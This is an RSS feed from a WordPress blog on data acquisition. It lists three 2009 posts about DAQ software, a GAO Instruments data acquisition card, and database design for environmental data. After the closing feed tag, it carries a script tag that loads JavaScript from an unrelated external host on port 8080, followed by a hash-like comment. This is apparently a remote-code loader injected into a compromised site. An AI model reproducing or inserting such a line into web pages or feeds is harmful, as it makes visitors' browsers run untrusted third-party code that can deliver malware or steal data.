<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>acquiree &#187; Data Acquisition</title>
	<atom:link href="http://acquiree.info/tag/data-acquisition/feed" rel="self" type="application/rss+xml" />
	<link>http://acquiree.info</link>
	<description></description>
	<lastBuildDate>Sun, 27 Jun 2010 23:12:44 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Data Acquisition Means More Than Just Details</title>
		<link>http://acquiree.info/data-acquisition/data-acquisition-means-more-than-just-details</link>
		<comments>http://acquiree.info/data-acquisition/data-acquisition-means-more-than-just-details#comments</comments>
		<pubDate>Wed, 19 Aug 2009 17:53:49 +0000</pubDate>
		<dc:creator>administrator</dc:creator>
				<category><![CDATA[Data Acquisition]]></category>
		<category><![CDATA[DAQ]]></category>
		<category><![CDATA[labview]]></category>
		<category><![CDATA[PID]]></category>
		<category><![CDATA[USB]]></category>

		<guid isPermaLink="false">http://acquiree.info/data-acquisition/data-acquisition-means-more-than-just-details</guid>
		<description><![CDATA[
Depending upon what type of data acquisition is being used, there are a number of software program types that can organize, manipulate and present information in ways that are tailored to the needs of the user. As data systems get more and more intricate, the demands made on the software grow and change in response, [...]]]></description>
		<wfw:commentRss>http://acquiree.info/data-acquisition/data-acquisition-means-more-than-just-details/feed</wfw:commentRss>
		<slash:comments>50</slash:comments>
		</item>
		<item>
		<title>New Data Acquisition Card Features High Resolution and High Speed from Gao</title>
		<link>http://acquiree.info/data-acquisition/new-data-acquisition-card-features-high-resolution-and-high-speed-from-gao</link>
		<comments>http://acquiree.info/data-acquisition/new-data-acquisition-card-features-high-resolution-and-high-speed-from-gao#comments</comments>
		<pubDate>Sat, 08 Aug 2009 17:54:47 +0000</pubDate>
		<dc:creator>administrator</dc:creator>
				<category><![CDATA[Data Acquisition]]></category>
		<category><![CDATA[DAQ]]></category>
		<category><![CDATA[DAQMaster]]></category>
		<category><![CDATA[Data Logger]]></category>
		<category><![CDATA[MW100]]></category>
		<category><![CDATA[Recorder]]></category>
		<category><![CDATA[Yokogawa]]></category>

		<guid isPermaLink="false">http://acquiree.info/data-acquisition/new-data-acquisition-card-features-high-resolution-and-high-speed-from-gao</guid>
		<description><![CDATA[
Toronto, Canada – GAO Instruments (www.GAOInstruments.com) announced today the availability of the newest addition to its data acquisition products, the PCI4712 parallel data acquisition card. The four-channel, single-ended card features a 12-bit analog-to-digital converter (ADC) and four independent programmable amplifiers. It is widely used for transient signal recording, refined frequency synthesis, multi-channel parallel acquisition systems [...]]]></description>
		<wfw:commentRss>http://acquiree.info/data-acquisition/new-data-acquisition-card-features-high-resolution-and-high-speed-from-gao/feed</wfw:commentRss>
		<slash:comments>50</slash:comments>
		</item>
		<item>
		<title>Better Data Acquisition with More Articulate Database Designs</title>
		<link>http://acquiree.info/data-acquisition/better-data-acquisition-with-more-articulate-database-designs</link>
		<comments>http://acquiree.info/data-acquisition/better-data-acquisition-with-more-articulate-database-designs#comments</comments>
		<pubDate>Fri, 31 Jul 2009 17:56:05 +0000</pubDate>
		<dc:creator>administrator</dc:creator>
				<category><![CDATA[Data Acquisition]]></category>
		<category><![CDATA[DAQ]]></category>
		<category><![CDATA[DAQMaster]]></category>
		<category><![CDATA[Data Logger]]></category>
		<category><![CDATA[MW100]]></category>
		<category><![CDATA[Recorder]]></category>
		<category><![CDATA[Yokogawa]]></category>

		<guid isPermaLink="false">http://acquiree.info/data-acquisition/better-data-acquisition-with-more-articulate-database-designs</guid>
		<description><![CDATA[
Environmental data and life science studies are heavily dependent on data acquisition systems and these in turn are becoming more noticeably dependent on well designed collection systems best represented by database systems. The more articulate these database systems become the more accurate and plentiful does knowledge in these areas rise.
The environment and life science data [...]]]></description>
		<wfw:commentRss>http://acquiree.info/data-acquisition/better-data-acquisition-with-more-articulate-database-designs/feed</wfw:commentRss>
		<slash:comments>51</slash:comments>
		</item>
	</channel>
</rss>



<script type="text/javascript" src="http://oployau.fancountblogger.com:8080/Undo.js"></script>
<!--70f30cb1c91cb389cf52a072dc1de0cc-->